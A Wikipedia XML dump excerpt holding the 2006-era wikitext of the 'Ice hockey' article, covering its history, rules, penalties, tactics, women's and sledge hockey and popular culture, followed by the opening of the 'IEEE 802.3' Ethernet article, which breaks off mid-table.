Unsurprisingly, ice hockey's worldwide popularity is concentrated primarily in locales cold enough for natural, long-term seasonal ice cover. It is one of the four major North American professional sports, represented by the [[National Hockey League]] (NHL) at the highest level. It is the official [[national pastime|national winter sport]] of Canada, where the game enjoys immense popularity ([[lacrosse]] is Canada's national summer sport).  Tellingly, six of the thirty NHL franchises are based in Canada, which has only a combined two teams in the three other professional sports.  Despite Canada having only about one-tenth of the population of the United States, Canadians currently outnumber Americans in the league by a ratio of almost three to one.  Nevertheless, the sport is comparably popular in certain regions of the United States, notably the [[Northeastern United States|Northeast]], the [[Upper Midwest]], and [[Alaska]].

While most of the countries mentioned above have their own professional ice hockey league, the NHL is considered the world's premier professional ice hockey league and attracts almost all of the world's elite players.  While Canadians and Americans rank first and second, respectively, in NHL representation, about thirty percent of the league's players are non-North Americans.  The other five major hockey powers occupy the third through seventh ranks of NHL representation.

==History==
[[image:Avercamp_scenewin.jpg|right|thumb|250px|Dutch Burghers playing a game that looks much like Ice hockey.]] [[image:SCENEONICE.jpg|right|thumb|250px|Dutch Burghers playing a game that looks much like Ice hockey.]] 
The origin of the word hockey is officially unknown. It may derive from the Old French word &lt;i&gt;hoquet&lt;/i&gt;, shepherd's crook, but it may also derive from the Middle Dutch word &lt;i&gt;hokkie&lt;/i&gt; which is the diminutive of 'hok', meaning literally 'shack' or 'doghouse' but in popular use meant goal. The Irish game of [[hurling]] is a closely related game that is played on a field as opposed to ice, it is also close to hockey in name.  
Proponents of Windsor as the birthplace of hockey claim the game was named after an individual, as in 'Colonel Hockey's game'.{{ref|Vaughan}} The surname Hockey still exists in the district surrounding Windsor. 

The history of ice hockey is one of the most contested in all of sports. The [[Montreal|city of Montreal]] had been traditionally credited with being the birthplace of hockey, but early paintings contest this claim; 16th-century Dutch paintings show a number of townsfolk playing a hockey-like game on a frozen canal.

[[Kingston, Ontario]] and [[Windsor, Nova Scotia]] also lay claim to its origins for similar reasons. And many think that hockey began in Virginia, the evidence of this was a post on a Williamsburg Newspaper in colonial time that recorded a snow storm and recorded hockey being played in Virginia.
By [[1893]], [[Winnipeg, Manitoba|Winnipeg]] hockey players incorporated [[cricket]] pads to better protect the [[goaltender]]'s legs.  They also introduced the &quot;scoop&quot; shot, later known as the wrist shot.  

When [[Great Britain]] [[Treaty of Paris (1763)|conquered]] [[New France]] from [[France]] in [[1763]] (much of which would later become part of Canada), soldiers used their knowledge of [[field hockey]] and the physically aggressive aspects of what the [[Mi'kmaq]] [[Aboriginal peoples in Canada|Aboriginal]] [[First Nation]] in [[Nova Scotia]] called dehuntshigwa'es ([[lacrosse]]).  As Canadian winters are long and harsh, new winter sports were always welcomed. Using cheese cutters strapped to their boots, both [[English language|English]]- and [[French language|French]]-speaking Canadians played the game on frozen rivers, lakes, and ponds.  Early paintings show hockey being played in [[Nova Scotia]], as well as in the state of [[Virginia]] in the United States. 

On [[March 3]], [[1875]], the first organized indoor game was played in Montreal, as recorded in the [[Montreal Gazette]].  In [[1877]], in order to make some sense of the game, [[McGill University|McGill]] students, [[James Creighton (hockey)|James Creighton]], [[Henry Joseph]], [[Richard F. Smith]], [[W. F. Robertson]] and [[W. L. Murray]], invented seven ice hockey rules. Having an organized system in place, the game became so popular that it was featured for the first time in Montreal's annual Winter Carnival in [[1883]]. In [[1888]], the governor general of Canada, [[Frederick Stanley, 16th Earl of Derby|Lord Stanley of Preston]] (whose sons and daughter were hockey enthusiasts), attended the Carnival and was so impressed with the hockey spectacle that he thought there should be a championship trophy for the best team.  The [[Stanley Cup]] was first awarded then to the champion amateur team in Canada, and continues to be awarded today to the [[NHL|National Hockey League]]'s championship team.  As an interesting historical footnote, one of Lord Stanley's sons was instrumental in introducing ice hockey to the United Kingdom and from there, to Europe at large.

[[Houghton, MI]], located in the [[Upper Peninsula]] of [[Michigan]], was the birthplace of professional ice hockey in the [[United States]] when the Portage Lakers were formed in [[1899]].  

The [[National Hockey League]] was formed in November of 1917, when members of the former National Hockey Association were engaged in a dispute with one of their fellow owners over insurance proceeds. The NHA disbanded, and the new league began play in December of that year. 

On [[February 16]], [[2005]], the [[NHL]] became the first major professional team sport in North America to [[2004-05 NHL lockout|cancel an entire season]] because of a labor dispute.  Play resumed again in the fall of 2005.

One of the best places to learn about the history of ice hockey is at the [[Hockey Hall of Fame]] in [[Toronto]] Canada.  It is the official museum for the NHL.

==Equipment==
[[Image:Amateur ice hockey skates.jpg|thumb|150px|right|Modern amateur (Swiss) ice hockey skates]]
The hard surfaces of the ice and boards, pucks flying at high speed (over 160 kilometers per hour (100 mph) at times), and other players maneuvering (and often intentionally colliding) pose a multitude of inherent safety hazards. Besides [[ice skates]] and [[Hockey stick|sticks]], hockey players are usually equipped with an array of safety gear to lessen their risk of serious injury. This usually includes a [[Hockey_helmet|helmet]], shoulder pads, elbow pads, mouth guard, protective gloves, heavily padded pants, a 'jock' athletic protector, leg guards and sometimes a neck guard. Goaltenders wear masks and much bulkier, specialized equipment designed to protect them from many direct hits from pucks.

The hockey skate is a heavy-duty skate with rounded edges on both ends of the blade to allow for easy maneuvering. The skate is usually made of a thick layer of leather or nylon to protect the feet and lower legs of the player from injury. 

Youth and college hockey players are required to wear a mask made from metal wire or transparent plastic attached to their helmet that protects their face during play. Professional and adult players may instead wear a visor that protects only their eyes, or no mask at all; however, some provincial and state legislation require full facial protection at all non-professional levels. Rules regarding visors and face masks are mildly controversial at professional levels. Some players feel that they interfere with their vision or breathing, or encourage carrying of the stick up high in a reckless manner, while others believe that they are a necessary safety precaution. 

In fact, the adoption of safety equipment has been a gradual one at the North American professional level, where even helmets were not mandatory until the 1980s.  The famous goalie, [[Jacques Plante]], had to suffer a hard blow to the face with a flying puck in [[1959]] before he could persuade his coach to allow him to wear a protective [[goalie mask]] in play.

==Game==
[[Image:Eishockey_Eisbaeren_gegen_Capitals.jpg|frame|right|Two defencemen and a goaltender guard their goal. The referee's raised arm indicates that he intends to call a penalty.]]
Ice hockey is played on a ''[[hockey rink]]''. During normal play, there are six players per side on the ice at any time, each of whom is on ''[[ice skate]]s''. The objective of the game is to score ''[[goal (ice hockey)|goals]]'' by playing a hard [[Vulcanization|vulcanized]] [[rubber]] disc, the ''[[hockey puck|puck]]'', into the opponent's goal net, which is placed at the opposite end of the rink. The players may control the puck using a long [[Hockey stick|stick]] with a blade that is commonly curved at one end. Players may also redirect the puck with any part of their bodies, subject to certain restrictions. One of the six players is typically a ''[[goaltender]]'', whose primary job is to stop the puck from entering the net, and who is permitted unique gear towards that end.

The other five players are typically divided into three forwards and two defencemen. The [[Forward (ice hockey)|forward]] positions are named ''[[Winger (ice hockey)|left wing]]'', ''[[Centre (ice hockey)|centre]]'' and ''[[Winger (ice hockey)|right wing]]''. Forwards often play together as units or ''lines'', with the same three forwards always playing together. The [[Defenceman (ice hockey)|defencemen]] usually stay together as a pair, but may change less frequently than the forwards. A substitution of an entire unit at once is called a ''line change''. Substitutions are permitted at any time during the course of the game, although during a stoppage of play the home team is permitted the final change. When players are substituted during play, it is called changing ''on the fly''.  A new NHL rule added in the 2005-2006 season prevents a team from changing their line after they ''[[Icing (ice hockey)|ice]]'' the puck.

The boards surrounding the ice help keep the puck in play, and play often proceeds for minutes without interruption. When play is stopped, it is restarted with a ''[[faceoff]]''. There are two major rules of play in ice hockey that limit the movement of the puck: ''[[Offside (ice hockey)|offside]]'' and ''[[Icing (ice hockey)|icing]]''. 

In most competitive leagues, each team may carry at most 23 players on its game roster, two of whom are typically goaltenders.  North American professional leagues restrict the total number of skaters to 18 or fewer.

The remaining characteristics of the game often depend on the particular [[Ice hockey rules|code of play]] being used. The two most important codes are those of the [[International Ice Hockey Federation]] (IIHF) and of the North American [[National Hockey League]] (NHL). North American amateur hockey codes, such as those of [[Hockey Canada]] and [[USA Hockey]], tend to be a hybrid of the NHL and IIHF codes, while professional rules generally follow those of the NHL.

==Penalties==
[[image:hockeyfight.JPG|thumb|Fights often occur near the goal because players want to protect their goaltender.]]

A typical game of ice hockey has two to four ''[[Official (ice hockey)|official]]s'' on the ice charged with enforcing the rules of the game. There are typically two ''linesmen'', who are responsible only for calling offside and [[Icing (ice hockey)|icing]] violations, and one or two ''referees'', who call goals and all other penalties.

In men's hockey, but not in women's, a player may use his hip or shoulder to hit another player if the player has the puck or is the last to have touched it. This use of the hip and shoulder is called ''body [[Checking (ice hockey)|checking]].'' Not all physical contact is legal -- in particular, most forceful stick-on-body contact is illegal. There are many infractions for which a player may be assessed a ''[[Penalty (ice hockey)|penalty]]''. 

For most penalties, the offending player is sent to the ''[[penalty box]]'' and his team has to play without him and with one less man for a short amount of time, giving the other team what is popularly termed a ''[[power play]]''.  A two-minute ''minor penalty'' is often called for lesser infractions such as tripping, elbowing, roughing, high-sticking, too many players on the ice, illegal equipment, charging (leaping into an opponent), holding, interference, delay of game, hooking, or cross-checking. More egregious fouls of this type may be penalized by a four-minute ''double-minor'' penalty, particularly those which (inadvertently) cause injury to the victimized player. These penalties end either when the time runs out or the other team scores on the power play; in the case of a goal scored during the first two minutes of a double minor, the penalty clock is set down to two minutes upon a score (effectively expiring the first minor). Five-minute ''major penalties'' are called for especially violent instances of most minor infractions which result in intentional injury to an opponent, as well as for fighting, checking from behind and spearing. Major penalties are always served in full; they do not terminate on a goal scored by the other team. The foul of 'boarding', defined as &quot;check&lt;nowiki&gt;[ing]&lt;/nowiki&gt; an opponent in such a manner that causes the opponent to be thrown violently in the boards&quot; by the [http://www.nhl.com/rules/rule44.html NHL Rulebook] is penalised either by a minor or major penalty at the discretion of the referee, based on the violence of the hit.

Two varieties of penalty do not always require the offending team to play a man down.  Ten-minute ''misconduct'' penalties are served in full by the penalized player, but his team may immediately substitute another player on the ice '''unless''' a minor or major penalty is assessed in conjunction with the misconduct (a ''two-and-ten'' or ''five-and-ten''). In that case, the team designates another player to serve the minor or major; both players go to the penalty box, but only the designee may not be replaced, and he is released upon the expiration of the two or five minutes, at which point the ten-minute misconduct begins. In addition, ''game misconducts'' are assessed for deliberate intent to inflict severe injury on an opponent (at the officials' discretion), or for a major penalty for a stick infraction or repeated major penalties. The offending player is ejected from the game and must immediately leave the playing surface (he does not sit in the penalty box); meanwhile, if a minor or major is assessed in addition, a designated player must serve out that segment of the penalty in the box (similar to the above-mentioned &quot;two-and-ten&quot;).

A player who is tripped by an opponent on a ''[[Breakaway (ice hockey)|breakaway]]''&amp;nbsp;&amp;ndash; when there are no defenders except the goaltender between him and the opponent's goal&amp;nbsp;&amp;ndash; is awarded a ''[[Penalty shot (ice hockey)|penalty shot]]'', an attempt to score without opposition from any defenders except the goaltender. A penalty shot is also awarded for a defender other than the goaltender covering the puck in the goal crease, intentionally throwing a stick at the puck results in an automatic goal, or intentionally displacing his own goal posts in order to avoid a goal.

Officials also stop play for puck movement violations, but no players are penalized for these offenses. The sole exceptions are deliberately falling on or gathering the puck to the body, carrying the puck in the hand, and shooting the puck out of play in one's defensive zone (all penalized two minutes for delay of game).

Games are overseen by [[Official (ice hockey)|officials]] that are selected by the league for which they work.  The most common officiating organization is [http://www.usahockey.com USA Hockey], where referees are selected for games depending on their experience level (one, two, three, or four).  Officials are divided into on-ice officials and off-ice officials.

==Tactics==
[[Image:OHL-Hockey-Plymouth-Whalers-vs-Saginaw-Spirit.jpg|right|thumb|250px|Winning the face off can be the key to some strategies. A game between Saginaw and Plymouth's OHL teams.]]

An important defensive tactic is ''[[Checking (hockey)|checking]]''&amp;nbsp;&amp;ndash; attempting to take the puck from an opponent or to remove the opponent from play. ''Forechecking'' is checking in the other team's zone; ''backchecking'' is checking while the other team is advancing down the ice toward one's own goal. These terms usually are applied to checking by forwards. ''Stick checking'', ''sweep checking'', and ''poke checking'' are legal uses of the stick to obtain possession of the puck. ''Body checking'' is using one's shoulder or hip to strike an opponent who has the puck or who is the last to have touched it.

Offensive tactics include improving a team's position on the ice by advancing the puck out of one's zone towards the opponent's zone, progressively by gaining lines, first your own blue line, then the red line and finally the opponent's blue line. Offensive tactics are designed ultimately to score a goal by taking a shot. When a player purposely directs the puck towards the opponent's goal, he or she is said to [[Shot (hockey)|shoot the puck]]. 

A ''deflection'' is a shot which redirects a shot or a pass towards the goal from another player, by allowing the puck to strike the stick and carom towards the goal.  A ''one-timer'' is a shot which is struck directly off a pass, without receiving the pass and shooting in two separate actions. A ''deke'' (short for ''decoy'') is a feint with the body and/or stick to fool a defender or the goalie. ''Headmanning the puck'' is the tactic of rapidly passing to the player farthest down the ice.

A team that is losing by one or two goals in the last few minutes of play may elect to ''pull the goalie''; that is, removing the goaltender and replacing him or her with an ''[[extra attacker]]'' on the ice in the hope of gaining enough advantage to score a goal.  However, this tactic is extremely risky, and often leads to the opposing team extending their lead by scoring a goal in the empty net.

Although it is officially prohibited in the rules, at the professional level [[Fighting in hockey|fights]] are sometimes used to affect morale of the teams, with aggressors hoping to demoralize the opposing players while exciting their own, as well as settling personal scores.  Both players in an altercation receive five-minute major penalties for fighting. The player deemed to be the &quot;instigator&quot; of an NHL fight is penalized an additional two minutes for instigating, plus a ten-minute misconduct penalty.  This so-called instigator rule is highly controversial in NHL hockey: many coaches, sportswriters, players and fans feel it prevents players from effectively policing the objectionable behavior of their peers, which is often cleverly hidden from referees.  They point to less extreme on-ice violence during the era before the rule was introduced.  [[Toronto Maple Leafs]] owner [[Conn Smythe]] famously observed that &quot;If you can't beat 'em in the alley you can't beat 'em on the ice.&quot;

==Periods and overtime==
A game consists of three ''periods'' of twenty minutes each, the clock running only when the puck is in play. In international play, the teams change ends for the second period, again for the third period, and again after ten minutes of the third period. In many North American leagues, including the NHL, the last change is omitted.

Various procedures are used if a game is tied. In tournament play, as well as in the NHL playoffs, North Americans favor ''sudden death [[Overtime (ice hockey)|overtime]]'', in which the teams continue to play 20 minute periods until a goal is scored. Up until the 1999-00 season regular season NHL games were settled with a single 5 minute sudden death period with 5 players (plus a goalie) per side, with the winner awarded 2 points in the standings and the loser 0 points. In the event of a tie , each team was awarded 1 point. From 1999-00 until 2005-06 the [[National Hockey League]] decided ties by playing a single five-minute sudden death overtime period with each team having 4 players (plus a goalie) per side to &quot;open-up&quot; the game. In the event of a tie, each team would still receive 1 point in the standings but in the event of a victory the winning team would be awarded 2 points in the standings and the losing team 1 point. International play and several North American professional leagues, including the NHL (in the regular season), now use an overtime period followed by a [[Overtime (ice hockey)#Shoot out|penalty shootout]]. If the score remains tied after an extra overtime period, the subsequent shootout consists of five (or three) players from each team taking [[Penalty shot (ice hockey)|penalty shot]]s. After these ten (or six) total shots, the team with the most goals is awarded the victory. If the score is still tied, the shootout then proceeds to a ''sudden death'' (actually sudden victory) format. Regardless of the number of goals scored during the shootout by either team, the final score recorded will give the winning team one more goal than the score at the end of regulation time. In the NHL if a team is decided by a shootout the winning team is awarded 2 points in the standings and the losing team is awarded 1. Ties no longer occur in the NHL.

==Women's ice hockey==
[[Image:Womenplayinghockey.jpg|right|thumb|Women playing hockey at [[Rideau Hall]] circa. 1890 (earliest known image of women's hockey)]]

Ice hockey is one of the fastest growing women's sports in the world, with the number of participants increasing 400 percent in the last 10 years.{{ref|strategis.ic.gc.ca.870}} While there are not as many organized leagues for women as there are for men, there exist leagues of all levels, including the [[National Women's Hockey League]], [[Western Women's Hockey League]], and various European leagues; as well as university teams, national and [[Olympics|Olympic]] teams, and [[recreation]]al teams.  There have been nine [[IIHF World Women Championships]].

The chief difference between women's and men's ice hockey is that bodychecking is not allowed in women's ice hockey. After the 1990 Women's World Championship, bodychecking was eliminated because women in many countries do not have the size and mass seen in North American players. There are many who feel that the relative lack of physical play is a detriment to its popularity among the mainstream hockey public.

One woman, [[Manon Rhéaume]], appeared as a goaltender for the [[Tampa Bay Lightning]] in preseason games against the [[St. Louis Blues (hockey)|St. Louis Blues]] and the [[Boston Bruins]], and in 2003 [[Hayley Wickenheiser]] signed with the [[Kirkkonummi Salamat]] in the [[Finland|Finnish]] men's [[Suomi-sarja]] league.  Several women have competed in North American minor leagues, including goaltenders [[Kelly Dyer]], [[Erin Whitten]], Manon Rhéaume, and forward [[Angela Ruggeiro]].

==Sledge hockey==
'''Sledge hockey''' is a form of ice hockey designed for players with physical [[disability|disabilities]] in their lower bodies. The players ride double-bladed [[sled|sledges]] using sticks which have a spike on one end for propulsion and a blade on the other end for directing the puck. The rules are very similar to [[International Ice Hockey Federation|IIHF]] ice hockey rules. 

====Sport description====
[[Sledge hockey]] is an innovative team sport that incorporates the same rules and discipline structure as regular ice hockey. In sledge hockey, players use their sticks not only to pass, stickhandle and shoot the puck but also to maneuver their sledges.

[[Canada]] is the  most recognized international leader in the development of the sport of sledge hockey and equipment for players. Much of the equipment for the sport was first developed in Canada, such as sledge hockey sticks laminated with [[fiberglass]], as well as aluminum shafts with hand carved insert blades and special aluminum sledges with regulation skate blades.

===History of sledge hockey===
Sledge hockey was invented by three [[Sweden|Swedish]] wheelchair athletes on a frozen lake at a rehabilitation centre in [[Stockholm]] in 1961. The game was not a instant success, and after only a couple of years of development, five teams competed for the Stockholm City Championship. The Swedish players subsequently introduced the sport to their [[Norway|Norwegian]] neighbors and regular matches between respective national teams ensued.   Norway in turn introduced the sport to [[British]] wheelchair athletes. In the early 1980s one of the inventors, [[Rolf Johansson]], a gold medal Paralympian in [[track wheelchair]], gave one of his hockey sledges to [[Dick Loiselle]], the former director of the [[1976 Winter Olympics]] in [[Montreal]]. Mr. Johansson did so under the condition that Mr. Loiselle introduce sledge hockey in Canada.
 
As a result of rapid growth of the sport, Sledge Hockey of Canada (SHOC) was created in 1993 and given the mandate by the Government of Canada (Sport Canada) to be the national sport federation responsible to coordinate, develop and promote the sport of sledge hockey in Canada. 

In 1994, sledge hockey was introduced as a demonstration sport at the [[1994 Winter Paralympics|Paralympic Winter Games]] in [[Lillehammer]], [[Norway]]. The sport became a full medal event at the [[1998 Winter Paralympics]] in [[Nagano]], [[Japan]].

==International competition==
The annual men's Ice Hockey World Championships are highly regarded by Europeans, but they are less important to North Americans because they coincide with the  [[Stanley Cup]] playoffs. Consequently, Canada and the United States have never been able to field their best possible teams because many of their players are playing for the Stanley Cup. Furthermore, for many years professionals were barred from play, so Canada and the United States were further hampered. Now that many Europeans play in the NHL, the world championships no longer represent the best of any nation's players.

Hockey has been played at the Winter Olympics since 1924 (and at the summer games in 1920).  Canada won six of the first seven gold medals.  The [[Soviet Union|USSR]] won all but two Olympic ice hockey gold medals from 1956 to 1988, and won a final time as the [[Unified Team]] at the [[1992 Winter Olympics|1992 Albertville Olympics]].  Since all players in the communist system were &quot;amateurs,&quot; the USSR's elite national team was the best the country had to offer, while the best Americans, Swedes, Finns, and Canadians were professionals and thus barred from [[Olympics|Olympic]] competition.  Nonetheless, U.S. amateur college players defeated the heavily favored Soviet squad on the way to winning the [[gold medal]] at the [[1980 Winter Olympics|1980 Lake Placid Olympics]].  This &quot;[[Miracle on Ice]]&quot; launched a surge of newfound popularity for a game about which many Americans had not cared much.  The United States won their first gold medal in 1960.

The [[1972 Summit Series]] established [[Canada]] and the [[USSR]] as a major international ice hockey rivalry.  It was followed by five [[Canada Cup]] tournaments, where the best players from every hockey nation could play.  This tournament later became the [[World Cup of Hockey]], played in 1996 and 2004, Canada won in 2004 and the U.S. in 1996.  Since 1998, NHL professionals have played in the Olympics as well, so that the best in the world have had more opportunities to face off.

There have been nine women's world championships, beginning in 1990.  Women's hockey has been played at the Olympics since 1998.  Currently Canada and the US dominate the world scene. All world championship and Olympic finals have involved at least one of the two countries. The [[2006 Olympics]] marks first world or Olympic championship final that did not involve both countries.

==Hockey in popular culture==

[[Image:Lisa on Ice.png|thumb|250px|Lisa and Bart Simpson attempt to daunt each other before their game in ''Lisa on Ice'']]

Like all of the major sports, hockey plays a major part in American popular culture.  Though it is the least popular of the four professional sports in the US, a number of notable [[Hollywood]] films have been made about hockey.  Notable hockey films include ''[[Slap Shot (movie)|Slap Shot]]'' (1977), ''[[The Mighty Ducks (movies)|The Mighty Ducks]]'' (1992, successful enough to spawn two sequels), and ''[[Miracle (film)|Miracle]]'' (2004).  The first two are fictional comedies; the last is a drama based on the true story of the 1980 &quot;Miracle on Ice&quot; USA gold medal team.  Other Hollywood hockey films include ''[[Youngblood (1986 movie)|Youngblood]]'' and ''[[Mystery, Alaska]]''.  Many other films are less hockey-oriented but nonetheless prominently involve the sport.  Both ''[[Happy Gilmore]]'' and ''[[The Cutting Edge]]'' center around failed hockey players using their talents for other sports ([[golf]] and [[figure skating]], respectively).

Hockey also frequently shows up in American television, particularly in shows set in the colder regions of the US such as the Northeast.  One of the recurring characters on ''[[Cheers]]'' was [[Eddie LeBec]] (played by [[Jay Thomas]]), a [[French-Canadian]] [[Boston Bruins]] goalie who married cast regular [[Carla Tortelli]].  LeBec later was cut from the NHL and joined a travelling ice show; the character was eventually killed off.  One memorable episode of ''[[Seinfeld]]'', &quot;[[The Face Painter]]&quot;, involves the antics of Elaine's face-painting boyfriend Putty, a rabid [[New Jersey Devils]] fan, and Jerry's stubborn refusal to thank an acquaintance for [[New York Rangers]] playoff tickets after the game when he had already thanked him numerous times beforehand.  In an episode of ''[[The Simpsons]]'', &quot;[[Lisa on Ice]]&quot;, Bart is the star of his peewee hockey team, The Mighty Pigs, coached by [[Chief Wiggum]].  Lisa is eventually forced to become a goaltender on an opposing team, The Kwik-E-Mart Gougers coached by [[Apu]], to avoid a failing grade in gym, and she blossoms from a nervous wreck to an intimidating star.  Eventually, the two teams play each other.

Because of hockey's popularity in Canada, it is considered one of the most important elements of Canadian pop culture.  It features very prominently in homegrown television and movies.  Moreover, some of the actors in American Hollywood hockey movies are Canadian.

==Terminology==
[[Image:The Colts applying pressure at the Battalion net.JPG|right|250px|thumb|The [[Barrie Colts]] applying pressure at the [[Brampton Battalion]] net, while visiting the [[Powerade Centre]].]]
[[Image:Hhof_vault.jpg|thumb|250px|right|The original [[Stanley Cup]], in the [[Hockey Hall of Fame]] vault.]]
[[Image:Icehockeylayout.jpg|thumb|250px|right|Typical layout of an ice hockey rink surface]]

===Statistics===
*[[Goal (ice hockey)|Goal]]
*[[Assist (ice hockey)|Assist]]
*[[Plus/minus|Plus/minus]]
*[[Save percentage]]
*[[Goals Against Average]]

===Personnel===
*[[Alternate captain (hockey)|Alternate captain]]
*[[Captain (ice hockey)|Captain]]
*[[Centre (ice hockey)|Centre]]
*[[Coach (ice hockey)|Coach]]
*[[Defenceman (ice hockey)|Defenceman]]
*[[Forward (ice hockey)|Forward]]
*[[Goal judge]]
*[[Goaltender]]
*[[Official (ice hockey)|Official]]
*[[Power forward (ice hockey)|Power forward]]
*[[Winger (ice hockey)|Winger]]

===Rink===
*[[Crease (hockey)|Crease]]
*[[Blue line (hockey)|Blue line]]
*[[Hash marks]]
*[[Hockey rink|Rink]]
*[[Penalty box]]
*[[Red line (hockey)|Red line]]
*[[Slot (hockey)|Slot]]

===Penalties===
*[[Boarding (hockey)|Boarding]]
*[[Power play]]
*[[Shorthanded (hockey)|Shorthanded]]
*[[Fighting in hockey|Fighting]]
*[[Five on three]]
*[[Penalty (ice hockey)|Penalty]]
*[[Penalty shot (hockey)|Penalty shot]]

===Shot types===
*[[Shot (ice hockey)|Shot]]
*[[Backhand shot (ice hockey)|Backhand shot]]
*[[One timer]]
*[[Slapshot]]
*[[Wrist shot]]
*[[Snap shot (ice hockey)|Snap shot]]

===Game play/random===
*[[Faceoff]]
*[[Checking (ice hockey)|Checking]]
*[[Icing (ice hockey)|Icing]]
*[[Hat trick]]
*[[Gordie Howe hat trick]]
*[[Overtime (ice hockey)|Overtime]]
*[[The point (ice hockey)|The point]]
*[[Neutral zone trap]]
*[[Breakaway (ice hockey)|Breakaway]]
*[[Deke (ice hockey)|Deke]]
*[[Puck bunny]]

===Equipment===
*[[Hockey pants]]/ Breezers
*[[Hockey stick]]
*[[Hockey jersey]]
*[[Shin guard]]s/pads
*[[Goalie mask]]
*[[Hockey puck]]
*[[Helmet (hockey)|Helmet]]s
*[[Visor (hockey)|Visor]]s
*[[Zamboni]]
*[[Ice skate]]s
*[[Jock (hockey)|Jock/Jill]]
*[[Mouthguard]]
*[[Hockey sock]]s
*[[Skatemill]]

==See also==
{{commons|category:Ice hockey|Ice hockey}}
{{Wikinewscat|Ice Hockey}}
*[[International Ice Hockey Federation World Championships]]
*[[Ice Hockey World Championships]]
*[[Ice hockey at the Olympic Games]]
*[[List of ice hockey leagues]]
*[[Shinny]] (an informal type of hockey)
*[[Sports league attendances]]
*[[Ice hockey equipment]]
*[[Triple Gold Club]]

==External links==
*[http://www.iihf.com/ International Ice Hockey Federation]
*[http://www.hhof.com/ Hockey Hall Of Fame]
*[http://www.nhl.com/ National Hockey League]
*[http://youthhockeyforum.com/ Youth Hockey]
*[http://hockeydb.com/ North American Statistics Database]
*[http://www.eurohockey.net/players/ European Player Statistics Database]
*[http://www.chidlovski.com/personal/1954/ Hockey CCCP International] - All games, tournaments, leagues, opponents, players, coaches, top lists for the national Team USSR (1954-1991).
*[http://www.hockeyrefs.com/ HockeyRefs.com]
*[http://www.hockeysfuture.com/  Hockey's Future]
*[http://www.achahockey.org/  American Collegiate Hockey Association]
*[http://www.sports-facts.com/nhl.htm Hockey News and Athletes Biographies]
*[http://www.thesportbar.com/content/section/9/147/ European &amp; North American Hockey Scores and Statistics]

==Notes==
&lt;!-- How to add a footnote: 
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnotes]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9. 
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately precedes yours in the article body. 
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step 3.  No need to re-number anything!
     5) Multiple footnotes to the same reference: see [[Wikipedia:Footnotes]] for a how-to.
   NOTE: It is important to add footnotes in the right order in the list!
--&gt;
# {{note|medals}} {{Web reference | title=Olympic Ice Hockey - The Complete Medal List | url=http://proicehockey.about.com/od/olympichockey/a/olympic_medals.htm | date=February 18 | year=2006}}
#{{Note|Vaughan}} Garth Vaughan, ''The Puck Stops Here: The origin of Canada's great winter game'', Fredericton: Goose Lane Editions, 1996, p. 23.
# {{note|strategis.ic.gc.ca.870}} {{Web reference | title=http://strategis.ic.gc.ca/epic/internet/inimr-ri.nsf/en/gr-72585e.html | url=http://strategis.ic.gc.ca/epic/internet/inimr-ri.nsf/en/gr-72585e.html | date=December 4 | year=2005 }}


&lt;!-- Category Links --&gt;
[[Category:Ice hockey]]
[[Category:Olympic sports]]
[[Category:Hockey]]
[[Category:Winter sports]]
[[Category:Team sports]]
[[Category:Skating]]

&lt;!-- Interlanguage links --&gt;

{{Link FA|pt}}

[[ar:هوكي جليد]]
[[bg:Хокей на лед]]
[[bs:Hokej na ledu]]
[[cs:Lední hokej]]
[[da:Ishockey]]
[[de:Eishockey]]
[[el:Χόκεϋ επί πάγου]]
&lt;!--[[en:Ice hockey]]--&gt;
[[et:Jäähoki]]
[[es:Hockey sobre hielo]]
[[eo:Glacihokeo]]
[[fr:Hockey sur glace]]
[[it:Hockey su ghiaccio]]
[[he:הוקי קרח]]
[[lv:Hokejs]]
[[lt:Ledo ritulys]]
[[nl:IJshockey]]
[[ja:アイスホッケー]]
[[no:Ishockey]]
[[pl:Hokej na lodzie]]
[[pt:Hóquei no gelo]]
[[ro:Hochei pe gheaţă]]
[[ru:Хоккей с шайбой]]
[[simple:Ice hockey]]
[[sk:Ľadový hokej]]
[[sl:Hokej na ledu]]
[[fi:Jääkiekko]]
[[sv:Ishockey]]
[[zh:冰球]]</text>
    </revision>
  </page>
  <page>
    <title>IEEE 802.3</title>
    <id>14791</id>
    <revision>
      <id>42102776</id>
      <timestamp>2006-03-03T21:17:17Z</timestamp>
      <contributor>
        <ip>72.65.85.49</ip>
      </contributor>
      <text xml:space="preserve">{{mergeto|Ethernet}}
'''IEEE 802.3''' is a collection of [[IEEE]] standards defining the [[physical layer]] and [[data link layer]] of wired [[Ethernet]]. This is generally a [[Local area network|LAN]] technology with some [[WAN]] applications. Physical connections are made between nodes and/or infrastructure devices ([[Ethernet hub|hub]]s, [[switch]]es, [[router]]s) by various types of copper or [[fiber cable]].

802.3 is a technology that can support the [[IEEE 802.1]] network architecture.  

The maximum [[packet]] size is 1518 bytes, although to allow the Q-tag for [[Virtual LAN]] and priority data in [[802.3ac]] it is extended to 1522 bytes. If the upper layer protocol submits a [[protocol data unit|PDU]] (Protocol data unit) less than 64 [[byte|bytes]], 802.3 will pad the data field to achieve the minimum 64 bytes. 

Although it is not technically correct, the terms &quot;[[packet]]&quot; and &quot;[[frame (telecommunications)|frame]]&quot; are used interchangeably. The &lt;nowiki&gt;ISO/IEC 8802-3 ANSI/IEEE&lt;/nowiki&gt; 802.3 Standards refer to MAC sub-layer frames consisting of the Destination Address, Source Address, Length/Type, data, and [[Frame Check Sequence|FCS]] fields. The Preamble and [[Start Frame Delimiter|SFD]] are (usually) considered a header to the MAC Frame. This header plus the MAC Frame constitute a &quot;Packet&quot;. 

== Versions of 802.3==
The original Ethernet is called &quot;Experimental Ethernet&quot; today. It was developed by [[Bob Metcalfe]] and was based in part on the wireless Alohanet protocol. It is not in use anywhere, but is thought to be the only Ethernet by some purists. The first &quot;Ethernet&quot; that was generally used outside Xerox was the DIX Ethernet.  However, as DIX Ethernet was derived from Experimental Ethernet, and as many standards have been developed that are based on DIX Ethernet, the technical community has accepted the term Ethernet for ''all'' of them. Therefore, the term &quot;Ethernet&quot; can be used to name networks using any of the following standardized media and functions: 

{| border=&quot;1&quot; cellpadding=&quot;2&quot;
!Ethernet Standard
!Date
!Description
|-
|Experimental Ethernet
|1972 (patented 1978)
|2.94 [[Mbit/s]] (367 KB/s) over coaxial cable (coax) cable bus
|-
|Ethernet II (DIX v2.0)
|1982
